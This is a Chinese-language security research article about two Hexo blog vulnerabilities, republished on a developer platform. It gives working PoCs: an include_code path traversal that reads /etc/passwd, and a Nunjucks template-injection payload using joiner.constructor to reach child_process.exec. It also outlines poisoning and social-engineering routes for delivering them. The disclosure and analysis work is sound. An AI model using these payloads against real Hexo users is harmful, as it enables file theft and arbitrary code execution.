前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >hexo博客任意文件读取和代码执行漏洞

hexo博客任意文件读取和代码执行漏洞

作者头像
Y1ng
发布2023-07-27 21:13:46
7950
发布2023-07-27 21:13:46
举报
文章被收录于专栏:颖奇L'Amore

前言

漏洞在2023.1.31发现并已提交给官方

Hexo一款博客系统,根据Markdown生成静态网页,我自己和我认识的很多师傅的博客都是用的hexo。

在一次偶然的SSTI相关文章的生成过程中,我发现他报了一个标签的错:

代码语言:javascript
复制
    578 | <p>但是,黑名单过滤了`{{` 

      =====             Context Dump Ends            =====
      at formatNunjucksError (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:171:13)
      at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:246:36
      at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
      at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31)
      at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18)
      at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10)
      at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:725:18)
      at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12)
      at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9)
      at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5)
      at Async.drainQueues [as _onImmediate] (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14)
      at process.processImmediate (node:internal/timers:471:21) {
    line: 578,
    location: '\x1B[35m_posts/****.md\x1B[39m [Line 578, Column 18]',
    type: 'expected variable end'
  }
} Something's wrong. Maybe you can find the solution here: %s https://hexo.io/docs/troubleshooting.html

说明hexo在根据Markdown文章生成静态页面时不单单做了Markdown的解析,还有标签的解析,那么是否存在安全风险呢?假设存在模板注入漏洞,攻击者就可以通过社工等手段诱导victim去渲染包含恶意代码的post/page的md源文件,或者做投毒,完成攻击的实施。

PS:本文只作为安全研究和学习交流之用,切勿用于非法用途,所发现的安全风险已全部通过相应渠道同步给了Hexo官方。

漏洞1:Include Code本地任意文件读取漏洞

标签插件Tag Plugins

先翻下他的官方文档

标签插件和 Front-matter 中的标签不同,它们是用于在文章中快速插入特定内容的插件。 虽然你可以使用任何格式书写你的文章,但是标签插件永远可用,且语法也都是一致的。 标签插件不应该被包裹在 Markdown 语法中,例如: 是不被支持的。

说白了就是自定义一些标签来扩展markdown,当然也有一些标签功能是和Markdown重叠的,感觉有点多此一举,而且没有通用性,所以这应该是用得不多的原因。

漏洞分析

注意到有个include code标签,是用来插入代码文件中的代码的:

m1-152432_tTtM0Z
m1-152432_tTtM0Z

看一下源码,path从标签中直接匹配出来,然后没有做任何安全检查就做了路径拼接和文件读取:

m1-152613_ZBystk
m1-152613_ZBystk

PoC

代码语言:javascript
复制
---
title: test
date: 2023-01-31 14:30:55
tags:
---

include_code:
{% include_code ../../../../../../../etc/passwd %}

漏洞修复

https://github.com/y1nglamore/hexo/blob/a3e68e7576d279db22bd7481914286104e867834/lib/plugins/tag/include_code.js#L49

m1-152946_tOzXnv
m1-152946_tOzXnv

漏洞2:模板注入漏洞可导致代码执行

漏洞分析

错误的分析方向

我最开始简单看了下代码发现有很多地方包含swig关键字,猜测大概是使用了swig模板引擎,之前正好是挖过swig,有任意读和RCE

分析文章: Swig模板引擎0day挖掘-代码执行和文件读取

但是发现用不了:

代码语言:javascript
复制
Template render error: (unknown path)
  Error: template not found: ../../../../../../../etc/passwd
    at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11)
    at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19
    at eval (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:11:11)
    ...

后来查了一下,hexo从5.0开始移除了对swig模板的支持,那就没法用了。不过在报错中有这样一句话很关键:

代码语言:javascript
复制
at eval (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:11:11)

是从nunjucks包中执行的,一个很蛋疼的事情是,我当时并不知道nunjucks实际上是一个模板引擎,以为是hexo实现的什么东西,于是决定尝试挖一挖。参考Hexo 如何在VS Code中调试Hexo的相关代码文章在项目中创建如下.vscode/launch.json,然后按F5即可启动调试。

代码语言:javascript
复制
// launch.json
{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "Debug Hexo Deploy Direct",
      "cwd": "${workspaceFolder}",
      "runtimeArgs": [
        "--nolazy" // 强制V8引擎完成代码的编译工作,这在远程调试时比较有用,可选
      ],
      "program": "./node_modules/hexo-cli/bin/hexo",
      "args": [
        "deploy",
        "--debug" //设置Hexo的 log基本,以便输出更多的日志内容
      ],
      "console": "internalConsole",
      "outputCapture": "std"
    }
  ]
}

include_code asset_img之类的挖了挖,XSS没考虑(没有意义),没挖到什么也没审出来什么有意思的点。

柳暗花明

一筹莫展之际想到了最开始的报错,是{{`报错,于是随便试了一个`{{123}}发现果然能行

m1-144254_jQlJuQ
m1-144254_jQlJuQ

于是我用swig的payload故技重施:

代码语言:javascript
复制
{{ Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() }}

但是报错了

代码语言:javascript
复制
Template render error: (unknown path)
  Error: Unable to call `Object["constructor"]`, which is undefined or falsey
    at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11)
    at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19
    at Template.root [as rootRenderFunc] (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:636:18), <anonymous>:18:3)
    at Template.render (/path/to/myblog/node_modules/nunjucks/src/environment.js:552:10)
    at Environment.renderString (/path/to/myblog/node_modules/nunjucks/src/environment.js:380:17)
    at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:238:16
    at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
    at Promise.fromNode.Promise.fromCallback (/path/to/myblog/node_modules/bluebird/js/release/promise.js:209:30)
    at Tag.render (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:237:20)
    at Object.onRenderEnd (/path/to/myblog/node_modules/hexo/lib/hexo/post.js:426:22)
    at /path/to/myblog/node_modules/hexo/lib/hexo/render.js:85:21
    at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
    at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31)
    at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18)
    at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10)
    at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:729:18)
    at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12)
    at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9)
    at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5)
    at Async.drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14)
    at process.processImmediate (node:internal/timers:471:21)

Debug分析下,首先走到Environment.renderString(),调用Template.render()渲染模板

m1-151138_66DK0G
m1-151138_66DK0G

之后Template.render()会调用继续调用到Template._compile()方法,再走到compiler.compile()进行模板编译,为了方便调试这里我每次都手工把编译好后的函数写入到一个文件里

m1-153155_dZegOL
m1-153155_dZegOL

实际的编译过程比较繁琐:

代码语言:javascript
复制
c.compile(transformer.transform(parser.parse(processedSrc, extensions, opts), asyncFilters, name));
return c.getCode();
代码语言:javascript
复制
_proto.compile = function compile(node, frame) {
  var _compile = this['compile' + node.typename];

  if (_compile) {
    _compile.call(this, node, frame); 
  } else {
    this.fail("compile: Cannot compile node: " + node.typename, node.lineno, node.colno);
  }
};

大概的意思是先做标签解析、语义分析,然后会调用compileXXXX()做代码的拼接,这里根据语义分析的不同而不同,比如函数就调用compileFunCall()

m1-155053_FRHofB
m1-155053_FRHofB

这里的意思是,调用的函数不能全局任意调用,而是需要去contextframe中去lookup找相应的方法来调用,这里的查找、调用等就用到runtime下的一些方法。这中间的分析跟一遍就好了,就是反复调用不知道怎么来描述,但是也不重要,我们直接回到Template._compile看最后编译完的source

m1-155639_aoXqLG
m1-155639_aoXqLG
代码语言:javascript
复制
function root(env, context, frame, runtime, cb) {
  var lineno = 0;
  var colno = 0;
  var output = "";
  try {
  var parentTemplate = null;
  output += runtime.suppressValue((lineno = 0, colno = 106, runtime.callWrap((lineno = 0, colno = 21, runtime.callWrap(runtime.memberLookup((runtime.contextOrFrameLookup(context, frame, "Object")),"constructor"), "Object[\"constructor\"]", context, ["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"])), "the return value of (Object[\"constructor\"])", context, [])), env.opts.autoescape);
  output += "\n";
  if(parentTemplate) {
  parentTemplate.rootRenderFunc(env, context, frame, runtime, cb);
  } else {
  cb(null, output);
  }
  ;
  } catch (e) {
    cb(runtime.handleError(e, lineno, colno));
  }
}
return {
  root: root
};

之后就是用上述source创建匿名函数并调用,直接调用会返回{"root": root}props,于是641行的this.rootRenderFunc = props.root就是上面source里定义的function root(env, context, frame, runtime, cb)

m1-155804_zJ6m81
m1-155804_zJ6m81

接着回到最初,Debug开始有提到说:

首先走到Environment.renderString(),调用Template.render()渲染模板。之后Template.render()会调用继续调用到Template._compile()方法。

现在Template._compile()就正式编译完成了,所以回到Template.render()接着走,会调用this.rootRenderFunc,也就是刚刚source里调用的root()

m1-160604_DpxLi7
m1-160604_DpxLi7

核心函数分析

接着我们来分析这个编译好的root(),最核心的就是中间这一块比较难懂

m1-160838_NgkWG4
m1-160838_NgkWG4

整理一下,然后由内向外执行

代码语言:javascript
复制
runtime.suppressValue(
    (
        lineno = 0, 
        colno = 106, 
        runtime.callWrap(
            (
                lineno = 0, 
                colno = 21, 
                runtime.callWrap(
                    runtime.memberLookup(
                        (
                            runtime.contextOrFrameLookup(context, frame, "Object")
                        ),
                        "constructor"
                    ), 
                    "Object[\"constructor\"]", 
                    context, 
                    ["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"]
                )
            ), 
            "the return value of (Object[\"constructor\"])", 
            context, 
            []
        )
    ), 
    env.opts.autoescape
)

调试下可以发现runtime实际就是runtime.js定义的,比较简单:

代码语言:javascript
复制
function callWrap(obj, name, context, args) {
  // 函数调用,调obj()函数,context作为属性,args是方法的数组
  if (!obj) {
    throw new Error('Unable to call `' + name + '`, which is undefined or falsey');
  } else if (typeof obj !== 'function') {
    throw new Error('Unable to call `' + name + '`, which is not a function');
  }

  return obj.apply(context, args);
}

function contextOrFrameLookup(context, frame, name) {
  // 查找frame和contenxt下的name
  var val = frame.lookup(name);
  return val !== undefined ? val : context.lookup(name);
}

function memberLookup(obj, val) {
  // 判断obj是否有val,若有且未函数,则会调用
  if (obj === undefined || obj === null) {
    return undefined;
  }

  if (typeof obj[val] === 'function') {
    return function () {
      for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
        args[_key2] = arguments[_key2];
      }

      return obj[val].apply(obj, args);
    };
  }

  return obj[val];
}

整个函数的逻辑是这样的:

m1-161906_Nma1nj
m1-161906_Nma1nj

所以很明显,我们目前出错就出在了最里面第一步的runtime.contextOrFrameLookup(context, frame, "Object"),因为contenxtframe下都没有Object()

问题解决

了解了报错原因和最里层的原理,我们要做的只是去framecontext下找到一个函数,该函数的constructorFunction(),之后我们就可以来创建&调用任意函数了

首先的frame.lookup会找当前及父frame的variables,可惜什么都没找到

m1-164220_zfRMGG
m1-164220_zfRMGG

接着看下context.lookup(),它会优先找context下的方法,如果没有则去this.env.globals下找

m1-163242_87T653
m1-163242_87T653

env.globals下面顺利的找到了3个函数:

m1-163552_dkE28F
m1-163552_dkE28F

于是payload就可以成功构造了。

PoC

hexo创建一个文章

代码语言:javascript
复制
---
title: test
date: 2023-01-31 14:30:55
tags:
---

{{ joiner.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() }}

生成的root函数的最核心部分:

代码语言:javascript
复制
runtime.callWrap(
  (
    lineno = 0, 
    colno = 21, 
    runtime.callWrap(
      runtime.memberLookup(
        (
          runtime.contextOrFrameLookup(context, frame, "joiner")
        ), 
        "constructor"
      ),
      "joiner[\"constructor\"]", 
      context, 
      ["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"]
    )
  ),
  "the return value of (joiner[\"constructor\"])", 
  context, 
  []
)

hexo generatehexo deployhexo server 都可以触发

m1-164008_iShot_2023-01-31_18.45.29
m1-164008_iShot_2023-01-31_18.45.29

修复建议

禁用prototype __proto__ constructor属性的调用。

后记

后面去提漏洞才发现nunjucks是独立的模板引擎,和Hexo没有什么直接关系,而且在2016的一篇文章中就已经提出了这个payload,挖重复了就很蛋疼。看了看nunjucks的文档,它是一款类jinja2的模板,所以可能这个RCE的PoC也不会被修复而是被认为是正常特性,但是对于Hexo来讲还是有意义的。

Hexo攻击面

因为Hexo生成的博客都是纯静态的,漏洞只发生在本地构建的过程中,风险整体可控,但仍有攻击面:

1.通过社工等手段,让受害者导入危险的md格式文章源文件,构建hexo时受到攻击。 2.做投毒:目前有很多开源的利用hexo gitbook等构建的wiki、漏洞库等,并且在github也收获了很多star,若投毒则用户克隆下来并本地构建时便会受到攻击。 3.很多机器人、水军站点会自动化爬取网络上的文章,转发到自己的站点上,那么它爬了我的有攻击payload的文章再本地生成则会收到影响。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-07-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言▸
  • 漏洞1:Include Code本地任意文件读取漏洞▸
    • 标签插件Tag Plugins▸
      • 漏洞分析▸
        • PoC▸
          • 漏洞修复▸
          • 漏洞2:模板注入漏洞可导致代码执行▸
            • 漏洞分析▸
              • 错误的分析方向▸
              • 柳暗花明▸
              • 核心函数分析▸
              • 问题解决▸
            • PoC▸
              • 修复建议▸
                • 后记▸
                • Hexo攻击面▸
                相关产品与服务
                远程调试
                远程调试(Remote Debugging,RD)在云端为用户提供上千台真实手机/定制机/模拟器设备,快速实现随时随地测试。运用云测技术对测试方式、操作体验进行了优化,具备多样性的测试能力,包括随时截图和记录调试日志,稳定的支持自动化测试, 设备灵活调度,用例高效执行, 快速定位产品功能和兼容性问题。云手机帮助应用、移动游戏快速发现和解决问题,节省百万硬件费用,加速敏捷研发流程。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档